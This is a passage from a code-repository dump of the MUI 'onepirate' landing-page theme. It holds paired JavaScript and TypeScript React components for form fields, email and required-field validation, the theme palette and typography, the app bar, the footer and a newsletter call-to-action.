    "content": "import TextField from '../components/TextField';\nimport PropTypes from 'prop-types';\n\nfunction RFTextField(props) {\n  const {\n    autoComplete,\n    input,\n    slotProps,\n    meta: { touched, error, submitError },\n    ...other\n  } = props;\n\n  return (\n    <TextField\n      error={Boolean(!!touched && (error || submitError))}\n      {...input}\n      {...other}\n      slotProps={{\n        ...slotProps,\n        htmlInput: {\n          autoComplete,\n          ...slotProps?.htmlInput,\n        },\n      }}\n      helperText={touched ? error || submitError : ''}\n      variant=\"standard\"\n    />\n  );\n}\n\nRFTextField.propTypes = {\n  /**\n   * This prop helps users to fill forms faster, especially on mobile devices.\n   * The name can be confusing, as it's more like an autofill.\n   * You can learn more about it [following the specification](https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#autofill).\n   */\n  autoComplete: PropTypes.string,\n  input: PropTypes.shape({\n    checked: PropTypes.bool,\n    multiple: PropTypes.bool,\n    name: PropTypes.string.isRequired,\n    onBlur: PropTypes.func.isRequired,\n    onChange: PropTypes.func.isRequired,\n    onFocus: PropTypes.func.isRequired,\n    type: PropTypes.string,\n    value: PropTypes.string.isRequired,\n  }).isRequired,\n  meta: PropTypes.shape({\n    active: PropTypes.bool,\n    data: PropTypes.object,\n    dirty: PropTypes.bool,\n    dirtySinceLastSubmit: PropTypes.bool,\n    error: PropTypes.any,\n    initial: PropTypes.any,\n    invalid: PropTypes.bool,\n    length: PropTypes.number,\n    modified: PropTypes.bool,\n    modifiedSinceLastSubmit: PropTypes.bool,\n    pristine: PropTypes.bool,\n    submitError: PropTypes.any,\n    submitFailed: PropTypes.bool,\n    submitSucceeded: PropTypes.bool,\n    submitting: PropTypes.bool,\n    touched: PropTypes.bool,\n    valid: PropTypes.bool,\n    validating: PropTypes.bool,\n    visited: PropTypes.bool,\n  }).isRequired,\n  slotProps: PropTypes.shape({\n    formHelperText: PropTypes.object,\n    htmlInput: PropTypes.object,\n    input: PropTypes.object,\n    inputLabel: PropTypes.object,\n    root: PropTypes.object,\n    select: PropTypes.object,\n  }),\n};\n\nexport default RFTextField;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/form/RFTextField.tsx",
    "content": "import { FieldRenderProps } from 'react-final-form';\nimport TextField, { OnePirateTextFieldProps } from '../components/TextField';\n\nfunction RFTextField(\n  props: OnePirateTextFieldProps & FieldRenderProps<string, HTMLElement>,\n) {\n  const {\n    autoComplete,\n    input,\n    slotProps,\n    meta: { touched, error, submitError },\n    ...other\n  } = props;\n\n  return (\n    <TextField\n      error={Boolean(!!touched && (error || submitError))}\n      {...input}\n      {...other}\n      slotProps={{\n        ...slotProps,\n        htmlInput: {\n          autoComplete,\n          ...slotProps?.htmlInput,\n        },\n      }}\n      helperText={touched ? error || submitError : ''}\n      variant=\"standard\"\n    />\n  );\n}\n\nexport default RFTextField;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/form/defer.js",
    "content": "import * as React from 'react';\n\nexport default function defer(Component) {\n  function Defer(props) {\n    const [mounted, setMounted] = React.useState(false);\n\n    React.useEffect(() => {\n      setMounted(true);\n    }, []);\n\n    return <Component mounted={mounted} {...props} />;\n  }\n\n  return Defer;\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/form/defer.tsx",
    "content": "import * as React from 'react';\n\nexport default function defer<P>(Component: React.ComponentType<P>) {\n  function Defer(props: P) {\n    const [mounted, setMounted] = React.useState(false);\n\n    React.useEffect(() => {\n      setMounted(true);\n    }, []);\n\n    return <Component mounted={mounted} {...props} />;\n  }\n\n  return Defer;\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/form/validation.js",
    "content": "/**\n * This is a simplified logic.\n * Consider using `import isEmail from 'validator/lib/isEmail'` from\n * https://github.com/validatorjs/validator.js/blob/7376945b4ce028b65955ae57b8fccbbf3fe58467/src/lib/isEmail.js\n * for a more robust version.\n */\nfunction isEmail(string) {\n  const re =\n    /^(([^<>()[\\].,;:\\s@\"]+(\\.[^<>()[\\].,;:\\s@\"]+)*)|(\".+\"))@(([^<>()[\\].,;:\\s@\"]+\\.)+[^<>()[\\].,;:\\s@\"]{2,})$/i;\n  return re.test(string);\n}\n\nexport function email(value) {\n  return value && !isEmail(value.trim()) ? 'Invalid email' : null;\n}\n\nfunction isDirty(value) {\n  return value || value === 0;\n}\n\nexport function required(requiredFields, values) {\n  return requiredFields.reduce(\n    (fields, field) => ({\n      ...fields,\n      ...(isDirty(values[field]) ? undefined : { [field]: 'Required' }),\n    }),\n    {},\n  );\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/form/validation.ts",
    "content": "/**\n * This is a simplified logic.\n * Consider using `import isEmail from 'validator/lib/isEmail'` from\n * https://github.com/validatorjs/validator.js/blob/7376945b4ce028b65955ae57b8fccbbf3fe58467/src/lib/isEmail.js\n * for a more robust version.\n */\nfunction isEmail(string: string) {\n  const re =\n    /^(([^<>()[\\].,;:\\s@\"]+(\\.[^<>()[\\].,;:\\s@\"]+)*)|(\".+\"))@(([^<>()[\\].,;:\\s@\"]+\\.)+[^<>()[\\].,;:\\s@\"]{2,})$/i;\n  return re.test(string);\n}\n\nexport function email(value: string) {\n  return value && !isEmail(value.trim()) ? 'Invalid email' : null;\n}\n\nfunction isDirty(value: string | number) {\n  return value || value === 0;\n}\n\nexport function required(\n  requiredFields: readonly string[],\n  values: Record<string, string>,\n): Record<string, string> {\n  return requiredFields.reduce(\n    (fields, field) => ({\n      ...fields,\n      ...(isDirty(values[field]) ? undefined : { [field]: 'Required' }),\n    }),\n    {},\n  );\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/theme.js",
    "content": "import { createTheme } from '@mui/material/styles';\nimport { green, grey, red } from '@mui/material/colors';\n\nconst rawTheme = createTheme({\n  palette: {\n    primary: {\n      light: '#69696a',\n      main: '#28282a',\n      dark: '#1e1e1f',\n    },\n    secondary: {\n      light: '#fff5f8',\n      main: '#ff3366',\n      dark: '#e62958',\n    },\n    warning: {\n      main: '#ffc071',\n      dark: '#ffb25e',\n    },\n    error: {\n      light: red[50],\n      main: red[500],\n      dark: red[700],\n    },\n    success: {\n      light: green[50],\n      main: green[500],\n      dark: green[700],\n    },\n  },\n  typography: {\n    fontFamily: \"'Work Sans', sans-serif\",\n    fontSize: 14,\n    fontWeightLight: 300, // Work Sans\n    fontWeightRegular: 400, // Work Sans\n    fontWeightMedium: 700, // Roboto Condensed\n  },\n});\n\nconst fontHeader = {\n  color: rawTheme.palette.text.primary,\n  fontWeight: rawTheme.typography.fontWeightMedium,\n  fontFamily: \"'Roboto Condensed', sans-serif\",\n  textTransform: 'uppercase',\n};\n\nconst theme = {\n  ...rawTheme,\n  palette: {\n    ...rawTheme.palette,\n    background: {\n      ...rawTheme.palette.background,\n      default: rawTheme.palette.common.white,\n      placeholder: grey[200],\n    },\n  },\n  typography: {\n    ...rawTheme.typography,\n    fontHeader,\n    h1: {\n      ...rawTheme.typography.h1,\n      ...fontHeader,\n      letterSpacing: 0,\n      fontSize: 60,\n    },\n    h2: {\n      ...rawTheme.typography.h2,\n      ...fontHeader,\n      fontSize: 48,\n    },\n    h3: {\n      ...rawTheme.typography.h3,\n      ...fontHeader,\n      fontSize: 42,\n    },\n    h4: {\n      ...rawTheme.typography.h4,\n      ...fontHeader,\n      fontSize: 36,\n    },\n    h5: {\n      ...rawTheme.typography.h5,\n      fontSize: 20,\n      fontWeight: rawTheme.typography.fontWeightLight,\n    },\n    h6: {\n      ...rawTheme.typography.h6,\n      ...fontHeader,\n      fontSize: 18,\n    },\n    subtitle1: {\n      ...rawTheme.typography.subtitle1,\n      fontSize: 18,\n    },\n    body1: {\n      ...rawTheme.typography.body2,\n      fontWeight: rawTheme.typography.fontWeightRegular,\n      fontSize: 16,\n    },\n    body2: {\n      ...rawTheme.typography.body1,\n      fontSize: 14,\n    },\n  },\n};\n\nexport default theme;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/theme.ts",
    "content": "import { createTheme } from '@mui/material/styles';\nimport { green, grey, red } from '@mui/material/colors';\n\nconst rawTheme = createTheme({\n  palette: {\n    primary: {\n      light: '#69696a',\n      main: '#28282a',\n      dark: '#1e1e1f',\n    },\n    secondary: {\n      light: '#fff5f8',\n      main: '#ff3366',\n      dark: '#e62958',\n    },\n    warning: {\n      main: '#ffc071',\n      dark: '#ffb25e',\n    },\n    error: {\n      light: red[50],\n      main: red[500],\n      dark: red[700],\n    },\n    success: {\n      light: green[50],\n      main: green[500],\n      dark: green[700],\n    },\n  },\n  typography: {\n    fontFamily: \"'Work Sans', sans-serif\",\n    fontSize: 14,\n    fontWeightLight: 300, // Work Sans\n    fontWeightRegular: 400, // Work Sans\n    fontWeightMedium: 700, // Roboto Condensed\n  },\n});\n\nconst fontHeader = {\n  color: rawTheme.palette.text.primary,\n  fontWeight: rawTheme.typography.fontWeightMedium,\n  fontFamily: \"'Roboto Condensed', sans-serif\",\n  textTransform: 'uppercase',\n};\n\nconst theme = {\n  ...rawTheme,\n  palette: {\n    ...rawTheme.palette,\n    background: {\n      ...rawTheme.palette.background,\n      default: rawTheme.palette.common.white,\n      placeholder: grey[200],\n    },\n  },\n  typography: {\n    ...rawTheme.typography,\n    fontHeader,\n    h1: {\n      ...rawTheme.typography.h1,\n      ...fontHeader,\n      letterSpacing: 0,\n      fontSize: 60,\n    },\n    h2: {\n      ...rawTheme.typography.h2,\n      ...fontHeader,\n      fontSize: 48,\n    },\n    h3: {\n      ...rawTheme.typography.h3,\n      ...fontHeader,\n      fontSize: 42,\n    },\n    h4: {\n      ...rawTheme.typography.h4,\n      ...fontHeader,\n      fontSize: 36,\n    },\n    h5: {\n      ...rawTheme.typography.h5,\n      fontSize: 20,\n      fontWeight: rawTheme.typography.fontWeightLight,\n    },\n    h6: {\n      ...rawTheme.typography.h6,\n      ...fontHeader,\n      fontSize: 18,\n    },\n    subtitle1: {\n      ...rawTheme.typography.subtitle1,\n      fontSize: 18,\n    },\n    body1: {\n      ...rawTheme.typography.body2,\n      fontWeight: rawTheme.typography.fontWeightRegular,\n      fontSize: 16,\n    },\n    body2: {\n      ...rawTheme.typography.body1,\n      fontSize: 14,\n    },\n  },\n};\n\nexport default theme;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/AppAppBar.js",
    "content": "import Box from '@mui/material/Box';\nimport Link from '@mui/material/Link';\nimport AppBar from '../components/AppBar';\nimport Toolbar from '../components/Toolbar';\n\nconst rightLink = {\n  fontSize: 16,\n  color: 'common.white',\n  ml: 3,\n};\n\nfunction AppAppBar() {\n  return (\n    <div>\n      <AppBar position=\"fixed\">\n        <Toolbar sx={{ justifyContent: 'space-between' }}>\n          <Box sx={{ flex: 1 }} />\n          <Link\n            variant=\"h6\"\n            underline=\"none\"\n            color=\"inherit\"\n            href=\"/premium-themes/onepirate/\"\n            sx={{ fontSize: 24 }}\n          >\n            {'onepirate'}\n          </Link>\n          <Box sx={{ flex: 1, display: 'flex', justifyContent: 'flex-end' }}>\n            <Link\n              color=\"inherit\"\n              variant=\"h6\"\n              underline=\"none\"\n              href=\"/premium-themes/onepirate/sign-in/\"\n              sx={rightLink}\n            >\n              {'Sign In'}\n            </Link>\n            <Link\n              variant=\"h6\"\n              underline=\"none\"\n              href=\"/premium-themes/onepirate/sign-up/\"\n              sx={{ ...rightLink, color: 'secondary.main' }}\n            >\n              {'Sign Up'}\n            </Link>\n          </Box>\n        </Toolbar>\n      </AppBar>\n      <Toolbar />\n    </div>\n  );\n}\n\nexport default AppAppBar;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/AppAppBar.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Link from '@mui/material/Link';\nimport AppBar from '../components/AppBar';\nimport Toolbar from '../components/Toolbar';\n\nconst rightLink = {\n  fontSize: 16,\n  color: 'common.white',\n  ml: 3,\n};\n\nfunction AppAppBar() {\n  return (\n    <div>\n      <AppBar position=\"fixed\">\n        <Toolbar sx={{ justifyContent: 'space-between' }}>\n          <Box sx={{ flex: 1 }} />\n          <Link\n            variant=\"h6\"\n            underline=\"none\"\n            color=\"inherit\"\n            href=\"/premium-themes/onepirate/\"\n            sx={{ fontSize: 24 }}\n          >\n            {'onepirate'}\n          </Link>\n          <Box sx={{ flex: 1, display: 'flex', justifyContent: 'flex-end' }}>\n            <Link\n              color=\"inherit\"\n              variant=\"h6\"\n              underline=\"none\"\n              href=\"/premium-themes/onepirate/sign-in/\"\n              sx={rightLink}\n            >\n              {'Sign In'}\n            </Link>\n            <Link\n              variant=\"h6\"\n              underline=\"none\"\n              href=\"/premium-themes/onepirate/sign-up/\"\n              sx={{ ...rightLink, color: 'secondary.main' }}\n            >\n              {'Sign Up'}\n            </Link>\n          </Box>\n        </Toolbar>\n      </AppBar>\n      <Toolbar />\n    </div>\n  );\n}\n\nexport default AppAppBar;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/AppFooter.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Link from '@mui/material/Link';\nimport Container from '@mui/material/Container';\nimport Stack from '@mui/material/Stack';\nimport Typography from '../components/Typography';\nimport TextField from '../components/TextField';\n\nfunction Copyright() {\n  return (\n    <React.Fragment>\n      {'© '}\n      <Link color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </Link>{' '}\n      {new Date().getFullYear()}\n    </React.Fragment>\n  );\n}\n\nconst iconStyle = {\n  width: 48,\n  height: 48,\n  display: 'flex',\n  justifyContent: 'center',\n  alignItems: 'center',\n  backgroundColor: 'warning.main',\n  mr: 1,\n  '&:hover': {\n    bgcolor: 'warning.dark',\n  },\n};\n\nconst LANGUAGES = [\n  {\n    code: 'en-US',\n    name: 'English',\n  },\n  {\n    code: 'fr-FR',\n    name: 'Français',\n  },\n];\n\nexport default function AppFooter() {\n  return (\n    <Typography\n      component=\"footer\"\n      sx={{ display: 'flex', bgcolor: 'secondary.light' }}\n    >\n      <Container sx={{ my: 8, display: 'flex' }}>\n        <Grid container spacing={5}>\n          <Grid size={{ xs: 6, sm: 4, md: 3 }}>\n            <Stack\n              direction=\"column\"\n              spacing={2}\n              sx={{ justifyContent: 'flex-end', height: 120 }}\n            >\n              <Grid sx={{ display: 'flex' }}>\n                <Box component=\"a\" href=\"https://mui.com/\" sx={iconStyle}>\n                  <img\n                    src=\"/static/themes/onepirate/appFooterFacebook.png\"\n                    alt=\"Facebook\"\n                  />\n                </Box>\n                <Box component=\"a\" href=\"https://x.com/MUI_hq\" sx={iconStyle}>\n                  <img src=\"/static/themes/onepirate/appFooterTwitter.png\" alt=\"X\" />\n                </Box>\n              </Grid>\n              <Grid>\n                <Copyright />\n              </Grid>\n            </Stack>\n          </Grid>\n          <Grid size={{ xs: 6, sm: 4, md: 2 }}>\n            <Typography variant=\"h6\" marked=\"left\" gutterBottom>\n              Legal\n            </Typography>\n            <Box component=\"ul\" sx={{ m: 0, listStyle: 'none', p: 0 }}>\n              <Box component=\"li\" sx={{ py: 0.5 }}>\n                <Link href=\"/premium-themes/onepirate/terms/\">Terms</Link>\n              </Box>\n              <Box component=\"li\" sx={{ py: 0.5 }}>\n                <Link href=\"/premium-themes/onepirate/privacy/\">Privacy</Link>\n              </Box>\n            </Box>\n          </Grid>\n          <Grid size={{ xs: 6, sm: 8, md: 4 }}>\n            <Typography variant=\"h6\" marked=\"left\" gutterBottom>\n              Language\n            </Typography>\n            <TextField\n              select\n              size=\"medium\"\n              variant=\"standard\"\n              slotProps={{\n                select: {\n                  native: true,\n                },\n              }}\n              sx={{ mt: 1, width: 150 }}\n            >\n              {LANGUAGES.map((language) => (\n                <option value={language.code} key={language.code}>\n                  {language.name}\n                </option>\n              ))}\n            </TextField>\n          </Grid>\n          <Grid>\n            <Typography variant=\"caption\">\n              {'Icons made by '}\n              <Link href=\"https://www.freepik.com\" rel=\"sponsored\" title=\"Freepik\">\n                Freepik\n              </Link>\n              {' from '}\n              <Link href=\"https://www.flaticon.com\" rel=\"sponsored\" title=\"Flaticon\">\n                www.flaticon.com\n              </Link>\n              {' is licensed by '}\n              <Link\n                href=\"https://creativecommons.org/licenses/by/3.0/\"\n                title=\"Creative Commons BY 3.0\"\n                target=\"_blank\"\n                rel=\"noopener noreferrer\"\n              >\n                CC 3.0 BY\n              </Link>\n            </Typography>\n          </Grid>\n        </Grid>\n      </Container>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/AppFooter.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Link from '@mui/material/Link';\nimport Container from '@mui/material/Container';\nimport Stack from '@mui/material/Stack';\nimport Typography from '../components/Typography';\nimport TextField from '../components/TextField';\n\nfunction Copyright() {\n  return (\n    <React.Fragment>\n      {'© '}\n      <Link color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </Link>{' '}\n      {new Date().getFullYear()}\n    </React.Fragment>\n  );\n}\n\nconst iconStyle = {\n  width: 48,\n  height: 48,\n  display: 'flex',\n  justifyContent: 'center',\n  alignItems: 'center',\n  backgroundColor: 'warning.main',\n  mr: 1,\n  '&:hover': {\n    bgcolor: 'warning.dark',\n  },\n};\n\nconst LANGUAGES = [\n  {\n    code: 'en-US',\n    name: 'English',\n  },\n  {\n    code: 'fr-FR',\n    name: 'Français',\n  },\n];\n\nexport default function AppFooter() {\n  return (\n    <Typography\n      component=\"footer\"\n      sx={{ display: 'flex', bgcolor: 'secondary.light' }}\n    >\n      <Container sx={{ my: 8, display: 'flex' }}>\n        <Grid container spacing={5}>\n          <Grid size={{ xs: 6, sm: 4, md: 3 }}>\n            <Stack\n              direction=\"column\"\n              spacing={2}\n              sx={{ justifyContent: 'flex-end', height: 120 }}\n            >\n              <Grid sx={{ display: 'flex' }}>\n                <Box component=\"a\" href=\"https://mui.com/\" sx={iconStyle}>\n                  <img\n                    src=\"/static/themes/onepirate/appFooterFacebook.png\"\n                    alt=\"Facebook\"\n                  />\n                </Box>\n                <Box component=\"a\" href=\"https://x.com/MUI_hq\" sx={iconStyle}>\n                  <img src=\"/static/themes/onepirate/appFooterTwitter.png\" alt=\"X\" />\n                </Box>\n              </Grid>\n              <Grid>\n                <Copyright />\n              </Grid>\n            </Stack>\n          </Grid>\n          <Grid size={{ xs: 6, sm: 4, md: 2 }}>\n            <Typography variant=\"h6\" marked=\"left\" gutterBottom>\n              Legal\n            </Typography>\n            <Box component=\"ul\" sx={{ m: 0, listStyle: 'none', p: 0 }}>\n              <Box component=\"li\" sx={{ py: 0.5 }}>\n                <Link href=\"/premium-themes/onepirate/terms/\">Terms</Link>\n              </Box>\n              <Box component=\"li\" sx={{ py: 0.5 }}>\n                <Link href=\"/premium-themes/onepirate/privacy/\">Privacy</Link>\n              </Box>\n            </Box>\n          </Grid>\n          <Grid size={{ xs: 6, sm: 8, md: 4 }}>\n            <Typography variant=\"h6\" marked=\"left\" gutterBottom>\n              Language\n            </Typography>\n            <TextField\n              select\n              size=\"medium\"\n              variant=\"standard\"\n              slotProps={{\n                select: {\n                  native: true,\n                },\n              }}\n              sx={{ mt: 1, width: 150 }}\n            >\n              {LANGUAGES.map((language) => (\n                <option value={language.code} key={language.code}>\n                  {language.name}\n                </option>\n              ))}\n            </TextField>\n          </Grid>\n          <Grid>\n            <Typography variant=\"caption\">\n              {'Icons made by '}\n              <Link href=\"https://www.freepik.com\" rel=\"sponsored\" title=\"Freepik\">\n                Freepik\n              </Link>\n              {' from '}\n              <Link href=\"https://www.flaticon.com\" rel=\"sponsored\" title=\"Flaticon\">\n                www.flaticon.com\n              </Link>\n              {' is licensed by '}\n              <Link\n                href=\"https://creativecommons.org/licenses/by/3.0/\"\n                title=\"Creative Commons BY 3.0\"\n                target=\"_blank\"\n                rel=\"noopener noreferrer\"\n              >\n                CC 3.0 BY\n              </Link>\n            </Typography>\n          </Grid>\n        </Grid>\n      </Container>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/AppForm.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Container from '@mui/material/Container';\nimport Box from '@mui/material/Box';\nimport Paper from '../components/Paper';\n\nfunction AppForm(props) {\n  const { children } = props;\n\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        backgroundImage: 'url(/static/onepirate/appCurvyLines.png)',\n        backgroundRepeat: 'no-repeat',\n      }}\n    >\n      <Container maxWidth=\"sm\">\n        <Box sx={{ mt: 7, mb: 12 }}>\n          <Paper\n            background=\"light\"\n            sx={{ py: { xs: 4, md: 8 }, px: { xs: 3, md: 6 } }}\n          >\n            {children}\n          </Paper>\n        </Box>\n      </Container>\n    </Box>\n  );\n}\n\nAppForm.propTypes = {\n  children: PropTypes.node,\n};\n\nexport default AppForm;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/AppForm.tsx",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Box from '@mui/material/Box';\nimport Paper from '../components/Paper';\n\nexport default function AppForm(props: React.HTMLAttributes<HTMLDivElement>) {\n  const { children } = props;\n\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        backgroundImage: 'url(/static/onepirate/appCurvyLines.png)',\n        backgroundRepeat: 'no-repeat',\n      }}\n    >\n      <Container maxWidth=\"sm\">\n        <Box sx={{ mt: 7, mb: 12 }}>\n          <Paper\n            background=\"light\"\n            sx={{ py: { xs: 4, md: 8 }, px: { xs: 3, md: 6 } }}\n          >\n            {children}\n          </Paper>\n        </Box>\n      </Container>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/ProductCTA.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Container from '@mui/material/Container';\nimport Typography from '../components/Typography';\nimport TextField from '../components/TextField';\nimport Snackbar from '../components/Snackbar';\nimport Button from '../components/Button';\n\nfunction ProductCTA() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleSubmit = (event) => {\n    event.preventDefault();\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <Container component=\"section\" sx={{ mt: 10, display: 'flex' }}>\n      <Grid container>\n        <Grid size={{ xs: 12, md: 6 }} sx={{ zIndex: 1 }}>\n          <Box\n            sx={{\n              display: 'flex',\n              justifyContent: 'center',\n              bgcolor: 'warning.main',\n              py: 8,\n              px: 3,\n            }}\n          >\n            <Box component=\"form\" onSubmit={handleSubmit} sx={{ maxWidth: 400 }}>\n              <Typography variant=\"h2\" component=\"h2\" gutterBottom>\n                Receive offers\n              </Typography>\n              <Typography variant=\"h5\">\n                Taste the holidays of the everyday close to home.\n              </Typography>\n              <TextField\n                noBorder\n                placeholder=\"Your email\"\n                variant=\"standard\"\n                sx={{ width: '100%', mt: 3, mb: 2 }}\n              />\n              <Button\n                type=\"submit\"\n                color=\"primary\"\n                variant=\"contained\"\n                sx={{ width: '100%' }}\n              >\n                Keep me updated\n              </Button>\n            </Box>\n          </Box>\n        </Grid>\n        <Grid\n          size={{ xs: 12, md: 6 }}\n          sx={{ display: { md: 'block', xs: 'none' }, position: 'relative' }}\n        >\n          <Box\n            sx={{\n              position: 'absolute',\n              top: -67,\n              left: -67,\n              right: 0,\n              bottom: 0,\n              width: '100%',\n              background: 'url(/static/themes/onepirate/productCTAImageDots.png)',\n            }}\n          />\n          <Box\n            component=\"img\"\n            src=\"https://images.unsplash.com/photo-1527853787696-f7be74f2e39a?auto=format&fit=crop&w=750\"\n            alt=\"call to action\"\n            sx={{\n              position: 'absolute',\n              top: -28,\n              left: -28,\n              right: 0,\n              bottom: 0,\n              width: '100%',\n              maxWidth: 600,\n            }}\n          />\n        </Grid>\n      </Grid>\n      <Snackbar\n        open={open}\n        closeFunc={handleClose}\n        message=\"We will send you our best offers, once a week.\"\n      />\n    </Container>\n  );\n}\n\nexport default ProductCTA;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/ProductCTA.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Container from '@mui/material/Container';\nimport Typography from '../components/Typography';\nimport TextField from '../components/TextField';\nimport Snackbar from '../components/Snackbar';\nimport Button from '../components/Button';\n\nfunction ProductCTA() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleSubmit = (event: React.FormEvent<HTMLFormElement>) => {\n    event.preventDefault();\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <Container component=\"section\" sx={{ mt: 10, display: 'flex' }}>\n      <Grid container>\n        <Grid size={{ xs: 12, md: 6 }} sx={{ zIndex: 1 }}>\n          <Box\n            sx={{\n              display: 'flex',\n              justifyContent: 'center',\n              bgcolor: 'warning.main',\n              py: 8,\n              px: 3,\n            }}\n          >\n            <Box component=\"form\" onSubmit={handleSubmit} sx={{ maxWidth: 400 }}>\n              <Typography variant=\"h2\" component=\"h2\" gutterBottom>\n                Receive offers\n              </Typography>\n              <Typography variant=\"h5\">\n                Taste the holidays of the everyday close to home.\n              </Typography>\n              <TextField\n                noBorder\n                placeholder=\"Your email\"\n                variant=\"standard\"\n                sx={{ width: '100%', mt: 3, mb: 2 }}\n              />\n              <Button\n                type=\"submit\"\n                color=\"primary\"\n                variant=\"contained\"\n                sx={{ width: '100%' }}\n              >\n                Keep me updated\n              </Button>\n            </Box>\n          </Box>\n        </Grid>\n        <Grid\n          size={{ xs: 12, md: 6 }}\n          sx={{ display: { md: 'block', xs: 'none' }, position: 'relative' }}\n        >\n          <Box\n            sx={{\n              position: 'absolute',\n              top: -67,\n              left: -67,\n              right: 0,\n              bottom: 0,\n              width: '100%',\n              background: 'url(/static/themes/onepirate/productCTAImageDots.png)',\n            }}\n          />\n          <Box\n            component=\"img\"\n            src=\"https://images.unsplash.com/photo-1527853787696-f7be74f2e39a?auto=format&fit=crop&w=750\"\n            alt=\"call to action\"\n            sx={{\n              position: 'absolute',\n              top: -28,\n              left: -28,\n              right: 0,\n              bottom: 0,\n              width: '100%',\n              maxWidth: 600,\n            }}\n          />\n        </Grid>\n      </Grid>\n      <Snackbar\n        open={open}\n        closeFunc={handleClose}\n        message=\"We will send you our best offers, once a week.\"\n      />\n    </Container>\n  );\n}\n\nexport default ProductCTA;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/ProductCategories.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport ButtonBase from '@mui/material/ButtonBase';\nimport Container from '@mui/material/Container';\nimport Typography from '../components/Typography';\n\nconst ImageBackdrop = styled('div')(({ theme }) => ({\n  position: 'absolute',\n  left: 0,\n  right: 0,\n  top: 0,\n  bottom: 0,\n  background: '#000',\n  opacity: 0.5,\n  transition: theme.transitions.create('opacity'),\n}));\n\nconst ImageIconButton = styled(ButtonBase)(({ theme }) => ({\n  position: 'relative',\n  display: 'block',\n  padding: 0,\n  borderRadius: 0,\n  height: '40vh',\n  [theme.breakpoints.down('md')]: {\n    width: '100% !important',\n    height: 100,\n  },\n  '&:hover': {\n    zIndex: 1,\n  },\n  '&:hover .imageBackdrop': {\n    opacity: 0.15,\n  },\n  '&:hover .imageMarked': {\n    opacity: 0,\n  },\n  '&:hover .imageTitle': {\n    border: '4px solid currentColor',\n  },\n  '& .imageTitle': {\n    position: 'relative',\n    padding: `${theme.spacing(2)} ${theme.spacing(4)} 14px`,\n  },\n  '& .imageMarked': {\n    height: 3,\n    width: 18,\n    background: theme.palette.common.white,\n    position: 'absolute',\n    bottom: -2,\n    left: 'calc(50% - 9px)',\n    transition: theme.transitions.create('opacity'),\n  },\n}));\n\nconst images = [\n  {\n    url: 'https://images.unsplash.com/photo-1534081333815-ae5019106622?auto=format&fit=crop&w=400',\n    title: 'Snorkeling',\n    width: '40%',\n  },\n  {\n    url: 'https://images.unsplash.com/photo-1531299204812-e6d44d9a185c?auto=format&fit=crop&w=400',\n    title: 'Massage',\n    width: '20%',\n  },\n  {\n    url: 'https://images.unsplash.com/photo-1476480862126-209bfaa8edc8?auto=format&fit=crop&w=400',\n    title: 'Hiking',\n    width: '40%',\n  },\n  {\n    url: 'https://images.unsplash.com/photo-1453747063559-36695c8771bd?auto=format&fit=crop&w=400',\n    title: 'Tour',\n    width: '38%',\n  },\n  {\n    url: 'https://images.unsplash.com/photo-1523309996740-d5315f9cc28b?auto=format&fit=crop&w=400',\n    title: 'Gastronomy',\n    width: '38%',\n  },\n  {\n    url: 'https://images.unsplash.com/photo-1534452203293-494d7ddbf7e0?auto=format&fit=crop&w=400',\n    title: 'Shopping',\n    width: '24%',\n  },\n  {\n    url: 'https://images.unsplash.com/photo-1506941433945-99a2aa4bd50a?auto=format&fit=crop&w=400',\n    title: 'Walking',\n    width: '40%',\n  },\n  {\n    url: 'https://images.unsplash.com/photo-1533727937480-da3a97967e95?auto=format&fit=crop&w=400',\n    title: 'Fitness',\n    width: '20%',\n  },\n  {\n    url: 'https://images.unsplash.com/photo-1518136247453-74e7b5265980?auto=format&fit=crop&w=400',\n    title: 'Reading',\n    width: '40%',\n  },\n];\n\nexport default function ProductCategories() {\n  return (\n    <Container component=\"section\" sx={{ mt: 8, mb: 4 }}>\n      <Typography variant=\"h4\" marked=\"center\" align=\"center\" component=\"h2\">\n        For all tastes and all desires\n      </Typography>\n      <Box sx={{ mt: 8, display: 'flex', flexWrap: 'wrap' }}>\n        {images.map((image) => (\n          <ImageIconButton\n            key={image.title}\n            style={{\n              width: 